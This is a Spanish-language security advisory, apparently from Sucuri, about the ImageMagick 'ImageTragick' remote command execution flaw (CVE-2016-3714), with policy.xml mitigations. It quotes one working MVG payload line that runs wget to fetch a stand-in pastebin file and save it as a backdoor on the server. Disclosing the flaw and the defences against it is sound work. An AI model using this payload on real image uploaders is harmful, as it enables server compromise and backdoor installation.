Vulnerabilidad de Ejecución de Comando Remoto en ImageMagick

Share this…

ImageMagick es un software popular utilizado para convertir, editar y manipular imágenes. Cuenta con bibliotecas para todos los lenguajes de programación comunes, incluyendo PHP, Python, Ruby y muchos otros. Este programa también es muy fácil de usar, lo que hace que sea una buena opción para muchos desarrolladores que necesitan cortar o manipular imágenes.

Sin embargo, las últimas versiones de ImageMagick no filtran correctamente los nombres de archivo que pasan por los delegates internos que trabajan con protocolos externos, tales como HTTPS. Esto permite al atacante ejecutar sus propios comandos de forma remota cuando hace upload de una imagen. El resultado es una vulnerabilidad RCE (remote command execution – ejecución remota de comandos) completa en su uploader de imagen. La vulnerabilidad es tan grave que los investigadores inventaron un apodo divertido para ella, más fácil de recordar que CVE-2016-3714: ImageTragick.

Detalles de la Vulnerabilidad

Desde la divulgación parcial inicial de esta vulnerabilidad, nuestro equipo de investigación está el 100% enfocado en tratar de crear una prueba de concepto viable para entender la hazaña y probar nuestras propias protecciones contra la vulnerabilidad. Después de muchas horas y una gran ayuda de la comunidad de seguridad, entendemos la vulnerabilidad suficiente para crear una sencilla herramienta de carga de PHP que utiliza ImageMagick, y el exploit para comprometerla (gracias a Cosmin, uno de nuestros desarrolladores que trabaja en el equipo de investigación).

La vulnerabilidad es fácil de explotar, un atacante sólo necesita una herramienta de upload de imagen que use ImageMagick. Durante nuestra investigación, hemos encontrado muchas aplicaciones web populares y productos SaaS vulnerables (las personas aman los Gravatars). Hemos entrado en contacto con estas personas en particular para notificarlas. Desafortunadamente, incluso con toda la atención de los medios de comunicación, ni todas las personas están conscientes de este problema.

Para entrar en más detalles, esta vulnerabilidad puede ser dividida en 4 diferentes problemas (o quizás en 5, dependiendo de quién responde a la pregunta), esto está muy bien explicado por Karim Valiev del Equipo de Seguridad de Mail.Ru here. Entonces, para resumir, debemos tener en cuenta:

  1. ejecución remota de comandos en los uploads de archivos .mvg/.svg. Al proporcionar un archivo malicioso, un atacante puede forzar un comando shell para se ejecutar en el servidor. Este es un ejemplo muy sencillo, que fue compartido:
    image Over 0,0 1,1 'url(https:";wget "https://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'

    Cuando se añade esto al archivo MVG, el comando wget es ejecutado y el output del archivo de pastebin se guarda en el backdoor.pl.

  2. Eliminación del archivos remoto. Cuando se utiliza el protocolo “ephemeral:/”, un atacante puede eliminar archivos en el servidor
  3. Moviendo el archivo remoto: al igual que en el problema de la eliminación del archivo: Cuando se utiliza el protocolo “msl:/“,el atacante puede mover archivos como desee
  4. Divulgación del contenido cuando se utiliza el protocolo “label:@“.

Mediante la combinación de todos estos problemas, los atacantes tienen varias opciones y herramientas para comprometer una aplicación web que utiliza el ImageMagick. Tenga en cuenta que el filtrado por la extensión MGV no es suficiente, ya que será inspeccionado cualquier formato de archivo y se ejecutará el comando.

Creo que van a ser encontradas todavía muchas otras vulnerabilidades en ImageMagick cuando haya más investigaciones.

Las últimas firmas configuradas para ModSecurity y para otras herramientas IDS no detectan ni bloquean este problema. Actualizamos nuestro WAF ayer por la noche para hacer el parche virtual de esta vulnerabilidad. Los usuarios del Firewall Sucuri ya están protegidos. También buscamos otros ataques, pero aún no hemos encontrado nada. Eso debe cambiar pronto, por lo que los atacantes construyen sus propios exploits.

Protección

Los usuarios de nuestra WAF ya están protegidos contra esta vulnerabilidad, pero aún así recomiendo a todos que sigan las recomendaciones de los desarrolladores del ImageMagick y editen el archivo /etc/ImageMagick/policy.xml además de desactivar el procesamiento de comandos MVG, HTTPS, EPHEMERAL, y MSL dentro de los archivos de imagen. En esta sección, agregue las siguientes líneas:

<policymap>
...
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>"

Si no puede realizar estos cambios, le recomiendo que deshabilite la función de carga hasta que consiga hacer el parche correctamente. ¡Esté preparado!

Fuente:https://blog.sucuri.net